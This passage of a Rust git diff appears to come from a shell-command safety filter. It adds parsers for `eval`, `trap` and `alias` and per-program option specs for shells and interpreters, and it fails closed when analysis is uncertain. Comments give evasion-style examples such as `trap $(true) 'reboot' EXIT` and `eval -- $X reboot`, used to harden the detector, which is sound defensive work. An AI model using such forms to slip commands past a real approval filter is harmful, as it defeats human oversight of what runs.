→ the handler it sets (as a one-element list), or -/// `None` for the read-only and reset forms listed at [`deferred_code`]. -/// An unknown option yields an empty list (`Confirm`, nothing to evaluate). -fn trap_handler(args: &[String]) -> Option> { - // Only the first argument can be an option: `trap` takes no option - // values, and its operands start right after it. - let operands = match args.first().map(String::as_str) { - Some("--") => &args[1..], - // `-p`/`-l` only list handlers/signals; with them, the remaining - // operands are signal names, not an action. - Some("-p" | "-l" | "-lp" | "-pl") => return None, - // `-` alone is the reset action, handled below as an operand. - Some(arg) if arg.starts_with('-') && arg != "-" => return Some(Vec::new()), - _ => args, - }; - match operands { - [] => None, - [single] if is_signal_spec(single) => None, - [action, ..] if action == "-" || action.is_empty() => None, - [action, ..] => Some(vec![action.clone()]), - } -} - -/// `alias` arguments → the value of every `NAME=VALUE` definition, or -/// `None` when there is none (listing forms). Any argument with a `=` -/// counts, even one that starts with `-` (fail closed: shells differ in -/// which options they accept before a definition). -fn alias_values(args: &[String]) -> Option> { - let values: Vec = args - .iter() - .filter_map(|arg| arg.split_once('=').map(|(_, value)| value.to_string())) - .collect(); - (!values.is_empty()).then_some(values) -} diff --git a/crates/core/src/filter/parser/builtin_code.rs b/crates/core/src/filter/parser/builtin_code.rs new file mode 100644 index 000000000..9a4135f61 --- /dev/null +++ b/crates/core/src/filter/parser/builtin_code.rs @@ -0,0 +1,222 @@ +//! Shell builtins that run code given as their arguments: `eval` runs it +//! now, `trap` and `alias` store it to run later (issue #55). + +use super::resolve_effective_command; + +/// If the segment is an `eval` call, returns the code `eval` runs: its +/// arguments with quotes removed, joined by single spaces (what the shell +/// passes to its parser). `literal` as for +/// [`opaque_command_word_reason`](super::opaque_command_word_reason). +/// Falls back to the raw argument text when it cannot be tokenised. +pub(crate) fn eval_code(literal: &str) -> Option { + let resolved = resolve_effective_command(literal); + let trimmed = resolved.trim_start(); + let rest_start = trimmed.find(char::is_whitespace).unwrap_or(trimmed.len()); + let (program, rest) = trimmed.split_at(rest_start); + if !program.eq_ignore_ascii_case("eval") { + return None; + } + let code = match shell_words::split(rest) { + Ok(words) => words.join(" "), + Err(_) => rest.trim().to_string(), + }; + Some(code) +} + +/// The codes an `eval` call may run (Issue #1208): [`eval_code`], and the +/// same code without a leading `--` and the parameter expansions in front +/// of the command (`eval -- $X reboot`), whose value may be empty, so the +/// shell drops them. A command substitution in front is dropped when the +/// code is evaluated. Empty for any other segment. +pub(crate) fn eval_codes(literal: &str) -> Vec { + let Some(code) = eval_code(literal) else { + return Vec::new(); + }; + let mut codes = vec![code]; + if let Ok(words) = shell_words::split(&codes[0]) { + let words = words.strip_prefix(&["--".to_string()]).unwrap_or(&words); + let start = words + .iter() + .position(|word| { + !word.starts_with('$') || !is_only_expansion(word) || word.starts_with("$(") + }) + .unwrap_or(words.len()); + let variant = words[start..].join(" "); + if variant != codes[0] { + codes.push(variant); + } + } + codes +} + +/// Whether the argument `word` (quotes removed) is only a parameter +/// expansion or command substitution, which the shell drops when its value +/// is empty. +fn is_only_expansion(word: &str) -> bool { + let name = |name: &str| { + !name.is_empty() && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') + }; + (word.starts_with("$(") && word.ends_with(')')) + || (word.len() > 1 && word.starts_with('`') && word.ends_with('`')) + || (word.starts_with("${") && word.ends_with('}')) + || word.strip_prefix('$').is_some_and(name) +} + +/// The argument lists `args` may stand for when its arguments that are only +/// an expansion are empty: `args` itself, without all of them, and without +/// each of the first four. +fn without_empty_expansions(args: &[String]) -> Vec> { + let expansions: Vec = (0..args.len()) + .filter(|&i| is_only_expansion(&args[i])) + .collect(); + let mut variants = vec![args.to_vec()]; + if expansions.is_empty() { + return variants; + } + let without = |skip: &dyn Fn(usize) -> bool| -> Vec { + (0..args.len()) + .filter(|&i| !skip(i)) + .map(|i| args[i].clone()) + .collect() + }; + variants.push(without(&|i| expansions.contains(&i))); + for &e in expansions.iter().take(4) { + variants.push(without(&|i| i == e)); + } + variants +} + +/// Which shell construct stores code for later execution (issue #55). +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum DeferredCodeKind { + /// `trap ACTION SIGNAL...`: the action runs when a signal arrives or the + /// shell exits. + Trap, + /// `alias NAME=VALUE`: the value runs whenever a later command starts + /// with `NAME`. + Alias, +} + +/// A segment that stores shell code to run later (issue #55). +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct DeferredCode { + pub(crate) kind: DeferredCodeKind, + /// The stored code, one entry per handler/alias value, quotes removed. + /// Empty when the code could not be extracted reliably — the segment is + /// then only floored at `Confirm` (fail closed). + pub(crate) codes: Vec, +} + +/// Whether `word` can be a signal specification (`EXIT`, `INT`, `SIGTERM`, +/// `15`, `RTMIN+1`). A lone `trap WORD` with such a word resets that signal; +/// any other lone operand is treated as code, fail closed. +fn is_signal_spec(word: &str) -> bool { + !word.is_empty() + && word + .chars() + .all(|c| c.is_ascii_alphanumeric() || matches!(c, '_' | '+' | '-')) +} + +/// If the segment is a `trap` call that sets a handler, or an `alias` call +/// that defines at least one alias, returns the code it stores. `literal` as +/// for [`opaque_command_word_reason`](super::opaque_command_word_reason); +/// wrappers such as `command`/`builtin` are resolved first, like for +/// [`eval_code`]. +/// +/// Exempt (returns `None`), because they store no code: +/// - `trap`, `trap -p [SIG...]`, `trap -l` (listing); +/// - `trap - SIG...`, `trap '' SIG...` (reset to default / ignore the +/// signal); +/// - `trap SIG` with a single operand that looks like a signal (reset); +/// - `alias`, `alias NAME...`, `alias -p` (listing — no argument with `=`). +/// +/// Everything else that is not clearly one of those forms counts as a +/// definition (fail closed): an unknown `trap` option, a lone `trap` +/// operand that is not a signal name, or input that cannot be tokenised +/// but contains a `=` (alias) or an operand (trap). +pub(crate) fn deferred_code(literal: &str) -> Option { + let resolved = resolve_effective_command(literal); + let trimmed = resolved.trim_start(); + let rest_start = trimmed.find(char::is_whitespace).unwrap_or(trimmed.len()); + let (program, rest) = trimmed.split_at(rest_start); + let kind = if program.eq_ignore_ascii_case("trap") { + DeferredCodeKind::Trap + } else if program.eq_ignore_ascii_case("alias") { + DeferredCodeKind::Alias + } else { + return None; + }; + let Ok(args) = shell_words::split(rest) else { + // Not tokenisable: no reliable extraction. Read-only forms never + // need quoting, so anything that might define code is floored. + let might_define = match kind { + DeferredCodeKind::Trap => !rest.trim().is_empty(), + DeferredCodeKind::Alias => rest.contains('='), + }; + return might_define.then_some(DeferredCode { + kind, + codes: Vec::new(), + }); + }; + let codes = match kind { + // Issue #1208: an argument that is only an expansion may be empty, + // and the handler is then a later word (`trap $(true) 'reboot' + // EXIT`); every such reading counts. + DeferredCodeKind::Trap => { + let mut found = false; + let mut codes: Vec = Vec::new(); + for handler in without_empty_expansions(&args) + .iter() + .filter_map(|args| trap_handler(args)) + { + found = true; + for code in handler { + if !codes.contains(&code) { + codes.push(code); + } + } + } + if !found { + return None; + } + codes + } + DeferredCodeKind::Alias => alias_values(&args)?, + }; + Some(DeferredCode { kind, codes }) +} + +/// `trap` arguments → the handler it sets (as a one-element list), or +/// `None` for the read-only and reset forms listed at [`deferred_code`]. +/// An unknown option yields an empty list (`Confirm`, nothing to evaluate). +fn trap_handler(args: &[String]) -> Option> { + // Only the first argument can be an option: `trap` takes no option + // values, and its operands start right after it. + let operands = match args.first().map(String::as_str) { + Some("--") => &args[1..], + // `-p`/`-l` only list handlers/signals; with them, the remaining + // operands are signal names, not an action. + Some("-p" | "-l" | "-lp" | "-pl") => return None, + // `-` alone is the reset action, handled below as an operand. + Some(arg) if arg.starts_with('-') && arg != "-" => return Some(Vec::new()), + _ => args, + }; + match operands { + [] => None, + [single] if is_signal_spec(single) => None, + [action, ..] if action == "-" || action.is_empty() => None, + [action, ..] => Some(vec![action.clone()]), + } +} + +/// `alias` arguments → the value of every `NAME=VALUE` definition, or +/// `None` when there is none (listing forms). Any argument with a `=` +/// counts, even one that starts with `-` (fail closed: shells differ in +/// which options they accept before a definition). +fn alias_values(args: &[String]) -> Option> { + let values: Vec = args + .iter() + .filter_map(|arg| arg.split_once('=').map(|(_, value)| value.to_string())) + .collect(); + (!values.is_empty()).then_some(values) +} diff --git a/crates/core/src/filter/parser/program_options.rs b/crates/core/src/filter/parser/program_options.rs new file mode 100644 index 000000000..c66561c3d --- /dev/null +++ b/crates/core/src/filter/parser/program_options.rs @@ -0,0 +1,1024 @@ +//! Shells, script interpreters and `source`/`.`: where the program they run +//! comes from (code argument, stdin or a script operand), read from each +//! program's own option syntax. + +use super::resolve_effective_command; + +/// Where a shell, interpreter or `source` call takes the program it runs +/// from — see [`program_source`]. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) enum ProgramSource { + /// Code passed as an argument (`sh -c CODE`, `fish --command CODE`, + /// `python3 -c CODE`, `perl -e CODE`, ...), in the order given. + Code(Vec), + /// The program is read from stdin (`... | sh`, `bash -s`, `python3 -`, + /// `source /dev/stdin`); its text never appears in the command. + Stdin, + /// A script or module operand the engine can see (`bash deploy.sh`). + Operand, + /// The arguments could not be analysed with confidence (an unknown long + /// option, untokenisable quoting, `-c` without its code argument). + Opaque, +} + +/// How a program parses its options, as far as [`program_source`] needs to +/// know. Characters are short options; long options are listed without the +/// leading `--`. A long option that is in none of the lists makes the call +/// [`ProgramSource::Opaque`] (fail closed): the engine cannot tell whether +/// it swallows the next word, and guessing "no" would let an option value +/// pass for the script operand (`| bash -o errexit`). +struct OptionSpec { + /// Short options that say "the first operand is the code" (POSIX + /// shells' `-c`, also inside clusters such as `-xc`). + code_operand: &'static str, + /// Short options that make a shell read its program from stdin (`-s`). + stdin_flag: &'static str, + /// Short options whose value is code (`perl -e CODE`, `fish -c CODE`). + code_value: &'static str, + /// Short options whose value is a script or module to run (`python3 -m`). + script_value: &'static str, + /// Short options that take a value, attached (the rest of the cluster) + /// or as the next word. When unsure whether an option takes a value, it + /// belongs here: swallowing one word too many can only make a script + /// operand look missing, which reads as "stdin" and escalates. + value: &'static str, + /// Short options that always take the *next word* as their value, even + /// inside a cluster, while the rest of the cluster is still read as + /// options (`bash -oc errexit CODE` runs `CODE`). + next_word_value: &'static str, + /// Options (among `value`) whose value names a shell option and may be + /// that option's single letter: ksh93 reads `-oc`, `-o c` as `-c`. A + /// one-letter value that is a code or stdin option counts as that + /// option; a negated (`+o c`, `-o noc`) or case-folded one, or one + /// naming a value-taking option, makes the call + /// [`ProgramSource::Opaque`] (fail closed). The value is normalised + /// first (`-`/`_` dropped, so `-o c_` is `-c`), and a multi-letter + /// value must be a known option name, else the call is `Opaque` too + /// (see [`letter_option`]). + letter_name_value: &'static str, + /// Short options followed by an optional run of digits, after which the + /// rest of the cluster is still read as options (`perl -l0e CODE`, + /// `ruby -W2e CODE`). A hexadecimal value (`perl -0x1ff`) makes the + /// call [`ProgramSource::Opaque`]: hex digits include `e`. + digit_value: &'static str, + /// Short options whose value can only be attached and whose end is not + /// known (`perl -Mstrict`, `ruby -Ku`). If the rest of the cluster + /// contains a code, stdin or script option character, the call is + /// [`ProgramSource::Opaque`] (fail closed): the program might read it + /// as that option. + attached_value: &'static str, + /// Whether `+x`-style options exist (`sh +x`, `bash +o history`). + plus_options: bool, + long_code: &'static [&'static str], + long_script: &'static [&'static str], + long_value: &'static [&'static str], + long_flag: &'static [&'static str], +} + +/// bash, dash and busybox ash: `-o`/`-O` always take the *next word* as +/// the option name, and the rest of the cluster is still read as options +/// (`bash -oc errexit CODE` runs `CODE`). +const BASH_LIKE_SHELL_OPTIONS: OptionSpec = OptionSpec { + code_operand: "c", + stdin_flag: "s", + code_value: "", + script_value: "", + value: "", + next_word_value: "oO", + letter_name_value: "", + digit_value: "", + attached_value: "", + plus_options: true, + long_code: &[], + long_script: &[], + long_value: &["rcfile", "init-file"], + long_flag: &[ + "norc", + "noprofile", + "login", + "posix", + "noediting", + "restricted", + "verbose", + "debugger", + "dump-strings", + "dump-po-strings", + "version", + "help", + ], +}; + +/// zsh and the ksh family: `-o`/`-O` take the *rest of the cluster* as the +/// option name if it is non-empty (`zsh -oerrexit -c CODE`), and the next +/// word only when they stand alone. +const KSH_LIKE_SHELL_OPTIONS: OptionSpec = OptionSpec { + code_operand: "c", + stdin_flag: "s", + code_value: "", + script_value: "", + value: "oO", + next_word_value: "", + letter_name_value: "oO", + digit_value: "", + attached_value: "", + plus_options: true, + long_code: &[], + long_script: &[], + long_value: &["rcfile", "init-file"], + long_flag: &[ + "norc", + "noprofile", + "login", + "posix", + "noediting", + "restricted", + "verbose", + "debugger", + "dump-strings", + "dump-po-strings", + "version", + "help", + ], +}; + +const FISH_OPTIONS: OptionSpec = OptionSpec { + code_operand: "", + stdin_flag: "", + code_value: "cC", + script_value: "", + value: "dof", + next_word_value: "", + letter_name_value: "", + digit_value: "", + attached_value: "", + plus_options: false, + long_code: &["command", "init-command"], + long_script: &[], + long_value: &[ + "debug", + "debug-output", + "features", + "profile", + "profile-startup", + ], + long_flag: &[ + "interactive", + "login", + "no-execute", + "no-config", + "private", + "print-rusage-self", + "print-debug-categories", + "version", + "help", + ], +}; + +const CSH_OPTIONS: OptionSpec = OptionSpec { + code_operand: "c", + stdin_flag: "s", + code_value: "", + script_value: "", + value: "", + next_word_value: "", + letter_name_value: "", + digit_value: "", + attached_value: "", + plus_options: false, + long_code: &[], + long_script: &[], + long_value: &[], + long_flag: &["version", "help"], +}; + +const PYTHON_OPTIONS: OptionSpec = OptionSpec { + code_operand: "", + stdin_flag: "", + code_value: "c", + script_value: "m", + value: "WXQ", + next_word_value: "", + letter_name_value: "", + digit_value: "", + attached_value: "", + plus_options: false, + long_code: &[], + long_script: &[], + long_value: &["check-hash-based-pycs"], + long_flag: &["version", "help", "help-env", "help-xoptions", "help-all"], +}; + +const PERL_OPTIONS: OptionSpec = OptionSpec { + code_operand: "", + stdin_flag: "", + code_value: "eE", + script_value: "", + value: "I", + next_word_value: "", + letter_name_value: "", + digit_value: "0l", + attached_value: "CdDimMVx", + plus_options: false, + long_code: &[], + long_script: &[], + long_value: &[], + long_flag: &["version", "help"], +}; + +const RUBY_OPTIONS: OptionSpec = OptionSpec { + code_operand: "", + stdin_flag: "", + code_value: "e", + script_value: "", + value: "CEIr", + next_word_value: "", + letter_name_value: "", + digit_value: "0TW", + attached_value: "FKx", + plus_options: false, + long_code: &[], + long_script: &[], + long_value: &[ + "enable", + "disable", + "encoding", + "external-encoding", + "internal-encoding", + "dump", + "backtrace-limit", + "crash-report", + "parser", + ], + long_flag: &["version", "help", "verbose", "copyright", "yjit", "jit"], +}; + +const NODE_OPTIONS: OptionSpec = OptionSpec { + code_operand: "", + stdin_flag: "", + code_value: "ep", + script_value: "", + value: "Cr", + next_word_value: "", + letter_name_value: "", + digit_value: "", + attached_value: "", + plus_options: false, + long_code: &["eval", "print"], + long_script: &[], + long_value: &[ + "require", + "import", + "loader", + "experimental-loader", + "input-type", + "conditions", + "env-file", + "title", + ], + long_flag: &[ + "version", + "help", + "check", + "interactive", + "no-warnings", + "no-deprecation", + "trace-warnings", + "enable-source-maps", + ], +}; + +const PHP_OPTIONS: OptionSpec = OptionSpec { + code_operand: "", + stdin_flag: "", + code_value: "BERr", + script_value: "Ff", + value: "cdzSt", + next_word_value: "", + letter_name_value: "", + digit_value: "", + attached_value: "", + plus_options: false, + long_code: &[], + long_script: &[], + long_value: &[], + long_flag: &["version", "help", "info", "ini"], +}; + +/// Shells with [`BASH_LIKE_SHELL_OPTIONS`]: `-c` makes the first operand +/// the code, `-s` reads stdin, `-o`/`+o` take the next word. +const BASH_LIKE_SHELLS: &[&str] = &["bash", "rbash", "dash", "ash"]; + +/// Shells with [`KSH_LIKE_SHELL_OPTIONS`]: like [`BASH_LIKE_SHELLS`], but +/// `-o`/`+o` take an attached value. Issue #60 adds the restricted variants +/// `rksh` (ksh93) and `rzsh` (zsh) and `oksh` (OpenBSD ksh, a pdksh +/// descendant). +const KSH_LIKE_SHELLS: &[&str] = &[ + "zsh", "rzsh", "ksh", "ksh93", "rksh", "mksh", "lksh", "pdksh", "oksh", +]; + +/// POSIX shells whose `-o` syntax is not known for certain: `sh` can be any +/// of the shells above, depending on the system. Both readings are +/// analysed and merged by [`merge_program_sources`] (fail closed). +const UNKNOWN_POSIX_SHELLS: &[&str] = &["sh", "yash", "posh"]; + +/// What kind of program `program` (lower-cased basename) is. +enum ProgramKind { + WithOptions(&'static OptionSpec, bool), + /// A shell whose option syntax may be either of the two. + EitherShell(&'static OptionSpec, &'static OptionSpec), + Source, +} + +fn program_kind(program: &str) -> Option { + let program = program.rsplit('/').next().unwrap_or(program); + let program = program.to_ascii_lowercase(); + let program = program.as_str(); + // Issue #60: a versioned binary of a known shell (`bash5`, `bash-5.2`, + // `zsh-5.9`, `ksh2020`, `ksh93u+m`) gets the family of its base name. + // Only the exact name and shell base names are looked up, so this can + // only classify more calls, never fewer. + exact_program_kind(program) + .or_else(|| versioned_shell_base(program).and_then(exact_program_kind)) +} + +/// Shell names whose versioned binaries (``) are recognised +/// by [`versioned_shell_base`]. +fn known_shell_names() -> impl Iterator { + BASH_LIKE_SHELLS + .iter() + .chain(KSH_LIKE_SHELLS) + .chain(UNKNOWN_POSIX_SHELLS) + .chain(&["fish", "csh", "tcsh"]) + .copied() +} + +/// The known shell `program` (lower-cased basename) is a versioned binary +/// of: the shell name, optionally `-` or `_`, then a version that starts +/// with a digit and contains only ASCII letters, digits, `.`, `+`, `-` and +/// `_` (`bash5`, `bash-5.2`, `zsh-5.9`, `ksh2020`, `ksh93u+m`). Requiring a +/// digit right after the name keeps unrelated names (`sha1sum`, `shred`, +/// `bashbug`) out. +fn versioned_shell_base(program: &str) -> Option<&'static str> { + known_shell_names().find(|&shell| { + program.strip_prefix(shell).is_some_and(|rest| { + let version = rest + .strip_prefix('-') + .or_else(|| rest.strip_prefix('_')) + .unwrap_or(rest); + version.starts_with(|c: char| c.is_ascii_digit()) + && version + .chars() + .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '+' | '-' | '_')) + }) + }) +} + +/// [`program_kind`] for an exact lower-cased basename. +fn exact_program_kind(program: &str) -> Option { + if BASH_LIKE_SHELLS.contains(&program) { + return Some(ProgramKind::WithOptions(&BASH_LIKE_SHELL_OPTIONS, true)); + } + if KSH_LIKE_SHELLS.contains(&program) { + return Some(ProgramKind::WithOptions(&KSH_LIKE_SHELL_OPTIONS, true)); + } + if UNKNOWN_POSIX_SHELLS.contains(&program) { + return Some(ProgramKind::EitherShell( + &BASH_LIKE_SHELL_OPTIONS, + &KSH_LIKE_SHELL_OPTIONS, + )); + } + let interpreter = |spec| Some(ProgramKind::WithOptions(spec, false)); + match program { + "fish" => Some(ProgramKind::WithOptions(&FISH_OPTIONS, true)), + "csh" | "tcsh" => Some(ProgramKind::WithOptions(&CSH_OPTIONS, true)), + "perl" => interpreter(&PERL_OPTIONS), + "ruby" => interpreter(&RUBY_OPTIONS), + "node" | "nodejs" => interpreter(&NODE_OPTIONS), + "php" => interpreter(&PHP_OPTIONS), + "source" | "." => Some(ProgramKind::Source), + // `python`, `python3`, `python3.12`, `pypy3`, ... + _ if ["python", "pypy"].iter().any(|name| { + program + .strip_prefix(name) + .is_some_and(|v| v.chars().all(|c| c.is_ascii_digit() || c == '.')) + }) => + { + interpreter(&PYTHON_OPTIONS) + } + _ => None, + } +} + +/// Whether `literal` (after wrappers and `sudo`) runs a known shell or +/// `source`/`.` — a program whose stdin program is shell code. Interpreters +/// (`python3`, `perl`, ...) and unclassified names are not. +pub(super) fn is_shell_program(literal: &str) -> bool { + let resolved = resolve_effective_command(literal); + let Some(program) = resolved.split_whitespace().next() else { + return false; + }; + matches!( + program_kind(program), + Some( + ProgramKind::WithOptions(_, true) | ProgramKind::EitherShell(..) | ProgramKind::Source + ) + ) +} + +/// An argument that names the process's own stdin. +fn is_stdin_path(word: &str) -> bool { + matches!(word, "-" | "/dev/stdin") + || word.starts_with("/dev/fd/") + || (word.starts_with("/proc/") && word.contains("/fd/")) +} + +/// [`program_source`] of a segment's `literal` text, with the code found in +/// its further resolved forms (see +/// [`resolved_segment_forms`](super::resolved_segment_forms)) added (Issue +/// #1208): code behind an option value that is a substitution (`sudo -p $(x) +/// bash -c '…'`) only shows in the form that keeps it. A `Stdin`/`Opaque` +/// result of the literal text is kept as it is. +pub(crate) fn program_source_in_forms(literal: &str, resolved: &[String]) -> Option { + let mut extra: Vec = Vec::new(); + for form in resolved.iter().skip(1) { + if let Some(ProgramSource::Code(codes)) = program_source(form) { + extra.extend(codes); + } + } + match program_source(literal) { + Some(ProgramSource::Code(mut codes)) => { + for code in extra { + if !codes.contains(&code) { + codes.push(code); + } + } + Some(ProgramSource::Code(codes)) + } + None | Some(ProgramSource::Operand) if !extra.is_empty() => { + Some(ProgramSource::Code(extra)) + } + other => other, + } +} + +/// Analyses one segment that starts (after wrappers, `sudo` and variable +/// assignments) with a shell, a script interpreter, or `source`/`.`, and +/// says where the program it runs comes from. Returns `None` for any other +/// command. `literal` as for +/// [`opaque_command_word_reason`](super::opaque_command_word_reason). +/// +/// Options are parsed per program ([`OptionSpec`]), so option values +/// (`bash -o errexit`, `python3 -W ignore`), `+` options (`sh +x`) and an +/// option before `-c` (`bash -e -c CODE`) are not mistaken for the script +/// operand or missed. +pub(crate) fn program_source(literal: &str) -> Option { + let resolved = resolve_effective_command(literal); + let program = resolved.split_whitespace().next()?; + let Some(kind) = program_kind(program) else { + return unclassified_shell_source(program, &resolved); + }; + let Ok(words) = shell_words::split(&resolved) else { + return Some(ProgramSource::Opaque); + }; + let args = words.get(1..).unwrap_or_default(); + Some(match kind { + ProgramKind::Source => { + if args.iter().any(|arg| is_stdin_path(arg)) { + ProgramSource::Stdin + } else { + ProgramSource::Operand + } + } + ProgramKind::WithOptions(spec, is_shell) => analyse_options(spec, is_shell, args), + ProgramKind::EitherShell(a, b) => merge_program_sources( + analyse_options(a, true, args), + analyse_options(b, true, args), + ), + }) +} + +/// Basenames that end in `sh` but are not shells, so the fail-closed +/// fallback in [`unclassified_shell_source`] leaves them alone. `ssh` and +/// its relatives take a cipher with `-c`; `chsh -s` sets a login shell; the +/// others are ordinary commands and shell builtins whose `-c`/`-s` (if any) +/// has nothing to do with running code. +const NON_SHELL_SH_NAMES: &[&str] = &[ + "ssh", "autossh", "lsh", "chsh", "lchsh", "ypchsh", "flush", "fdflush", "crash", "push", + "publish", "refresh", "rehash", "hash", "finish", +]; + +/// Issue #60: fail-closed fallback for a command whose basename looks like a +/// shell [`program_kind`] does not know (`mysh`, `pwsh`, `xonsh`, ...): it +/// ends in `sh`, consists only of ASCII letters, digits, `-` and `_` (so +/// `deploy.sh` and other script files are not covered), and is not in +/// [`NON_SHELL_SH_NAMES`]. +/// +/// Such a call is only flagged when it carries a short option cluster with +/// `c` or `s` (`-c`, `-s`, `-xc`, `+s`) before `--`. It is then read like +/// `sh` (both option readings, merged fail closed): code found that way is +/// returned as [`ProgramSource::Code`], so it is evaluated recursively and a +/// `Deny` rule still applies; otherwise it is at least +/// [`ProgramSource::Stdin`] or [`ProgramSource::Opaque`], i.e. `Confirm`. +/// Any other call returns `None`, exactly as before. +fn unclassified_shell_source(program: &str, resolved: &str) -> Option { + let name = program.rsplit('/').next().unwrap_or(program); + let name = name.to_ascii_lowercase(); + let looks_like_shell = name.len() > 2 + && name.ends_with("sh") + && name + .chars() + .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_')) + && !NON_SHELL_SH_NAMES.contains(&name.as_str()); + if !looks_like_shell { + return None; + } + let words = shell_words::split(resolved) + .unwrap_or_else(|_| resolved.split_whitespace().map(str::to_string).collect()); + let args = words.get(1..).unwrap_or_default(); + let has_code_or_stdin_option = args + .iter() + .take_while(|arg| arg.as_str() != "--") + .any(|arg| { + let cluster = arg + .strip_prefix('-') + .filter(|rest| !rest.starts_with('-')) + .or_else(|| arg.strip_prefix('+')); + cluster.is_some_and(|c| c.contains(['c', 's'])) + }); + if !has_code_or_stdin_option { + return None; + } + Some( + match merge_program_sources( + analyse_options(&BASH_LIKE_SHELL_OPTIONS, true, args), + analyse_options(&KSH_LIKE_SHELL_OPTIONS, true, args), + ) { + source @ (ProgramSource::Code(_) | ProgramSource::Stdin) => source, + ProgramSource::Operand | ProgramSource::Opaque => ProgramSource::Opaque, + }, + ) +} + +/// Merges two readings of the same call into one that is at least as +/// strict as each (fail closed): the code of both readings if either finds +/// code (the engine adds a `Confirm` floor for code and evaluates each part, +/// so a `Deny` behind either reading still applies), the common result if +/// both agree, and [`ProgramSource::Opaque`] otherwise. +fn merge_program_sources(a: ProgramSource, b: ProgramSource) -> ProgramSource { + match (a, b) { + (ProgramSource::Code(mut a), ProgramSource::Code(b)) => { + for code in b { + if !a.contains(&code) { + a.push(code); + } + } + ProgramSource::Code(a) + } + (ProgramSource::Code(code), _) | (_, ProgramSource::Code(code)) => { + ProgramSource::Code(code) + } + (a, b) if a == b => a, + _ => ProgramSource::Opaque, + } +} + +/// Option names (normalised: lower case, without `-`/`_`) that zsh and the +/// ksh family accept for `-o`/`+o` and that do not change where the shell +/// reads its program from. Any other multi-letter name makes the call +/// [`ProgramSource::Opaque`] (fail closed): the shell might read it as a +/// short option (ksh93 ignores `-`/`_` in names, so `-o c_` means `-c`), +/// as an abbreviation, or as a name this list does not know yet. +const KNOWN_SHELL_OPTION_NAMES: &[&str] = &[ + // ksh93, mksh and the POSIX `set -o` names. + "allexport", + "bgnice", + "braceexpand", + "emacs", + "errexit", + "errtrace", + "functrace", + "globstar", + "gmacs", + "hashall", + "histexpand", + "history", + "ignoreeof", + "inheritxtrace", + "interactive", + "keyword", + "letoctal", + "login", + "markdirs", + "monitor", + "multiline", + "noclobber", + "noexec", + "noglob", + "nohup", + "nolog", + "notify", + "nounset", + "physical", + "pipefail", + "posix", + "privileged", + "restricted", + "sh", + "showme", + "trackall", + "utf8mode", + "verbose", + "vi", + "viesccomplete", + "viraw", + "vitabcomplete", + "xtrace", + // zsh (names that are not already listed above). + "aliases", + "alwayslastprompt", + "alwaystoend", + "appendhistory", + "autocd", + "autolist", + "automenu", + "autonamedirs", + "autoparamkeys", + "autoparamslash", + "autopushd", + "autoremoveslash", + "autoresume", + "badpattern", + "banghist", + "bareglobqual", + "bashautolist", + "bashrematch", + "beep", + "braceccl", + "bsdecho", + "caseglob", + "casematch", + "cbases", + "cdablevars", + "chasedots", + "chaselinks", + "checkjobs", + "checkrunningjobs", + "clobber", + "combiningchars", + "completealiases", + "completeinword", + "correct", + "correctall", + "cprecedences", + "cshjunkiehistory", + "cshjunkieloops", + "cshjunkiequotes", + "cshnullcmd", + "cshnullglob", + "equals", + "errreturn", + "evallineno", + "exec", + "extendedglob", + "extendedhistory", + "flowcontrol", + "functionargzero", + "glob", + "globalexport", + "globalrcs", + "globassign", + "globcomplete", + "globdots", + "globsubst", + "hashcmds", + "hashdirs", + "hashexecutablesonly", + "hashlistall", + "histallowclobber", + "histbeep", + "histexpiredupsfirst", + "histfcntllock", + "histfindnodups", + "histignorealldups", + "histignoredups", + "histignorespace", + "histlexwords", + "histnofunctions", + "histnostore", + "histreduceblanks", + "histsavebycopy", + "histsavenodups", + "histsubstpattern", + "histverify", + "hup", + "ignorebraces", + "ignoreclosebraces", + "incappendhistory", + "incappendhistorytime", + "interactivecomments", + "ksharrays", + "kshautoload", + "kshglob", + "kshoptionprint", + "kshtypeset", + "kshzerosubscript", + "listambiguous", + "listbeep", + "listpacked", + "listrowsfirst", + "listtypes", + "localloops", + "localoptions", + "localpatterns", + "localtraps", + "longlistjobs", + "magicequalsubst", + "mailwarning", + "menucomplete", + "multibyte", + "multifuncdef", + "multios", + "nomatch", + "nullglob", + "numericglobsort", + "octalzeroes", + "overstrike", + "pathdirs", + "pathscript", + "posixaliases", + "posixargzero", + "posixbuiltins", + "posixcd", + "posixidentifiers", + "posixjobs", + "posixstrings", + "posixtraps", + "printeightbit", + "printexitvalue", + "promptbang", + "promptcr", + "promptpercent", + "promptsp", + "promptsubst", + "pushdignoredups", + "pushdminus", + "pushdsilent", + "pushdtohome", + "rcexpandparam", + "rcquotes", + "rcs", + "recexact", + "rematchpcre", + "rmstarsilent", + "rmstarwait", + "sharehistory", + "shfileexpansion", + "shglob", + "shnullcmd", + "shoptionletters", + "shortloops", + "shortrepeat", + "shwordsplit", + "singlecommand", + "singlelinezle", + "sourcetrace", + "sunkeyboardhack", + "transientrprompt", + "trapsasync", + "typesetsilent", + "typesettounset", + "unset", + "warncreateglobal", + "warnnestedvar", + "zle", +]; + +/// Option names (normalised as above) that make the shell read its program +/// from stdin, like `-s`: zsh's `SHIN_STDIN`, mksh's `stdin`. +const STDIN_SHELL_OPTION_NAMES: &[&str] = &["shinstdin", "stdin"]; + +/// What an option name given to `-o` means (see +/// [`OptionSpec::letter_name_value`]). +enum LetterOption { + CodeOperand, + Stdin, + Opaque, +} + +/// Reads `name`, the value of an `-o`-style option (`minus` is false for +/// `+o`). The name is normalised first, the way ksh93 and zsh compare +/// option names: `-`/`_` are dropped (`no-c`, `c_` → `noc`, `c`) and a +/// leading `no` negates. +/// +/// - A known option name ([`KNOWN_SHELL_OPTION_NAMES`]) or a harmless +/// single letter (`x`) gives `None`. +/// - A name meaning "read from stdin" ([`STDIN_SHELL_OPTION_NAMES`]) or the +/// letter of a stdin option gives `Stdin`, the letter of the code option +/// gives `CodeOperand`. +/// - Everything else fails closed (`Opaque`): an unknown multi-letter name, +/// an empty name, or a negated (`+o c`, `-o no-c`), case-folded (`-o C`) +/// or value-taking (`-o o`) dangerous letter. +fn letter_option(spec: &OptionSpec, name: &str, minus: bool) -> Option { + let normalised: String = name.chars().filter(|&c| c != '-' && c != '_').collect(); + let lower = normalised.to_ascii_lowercase(); + let (negated, stripped) = match lower.strip_prefix("no") { + Some(rest) => (true, 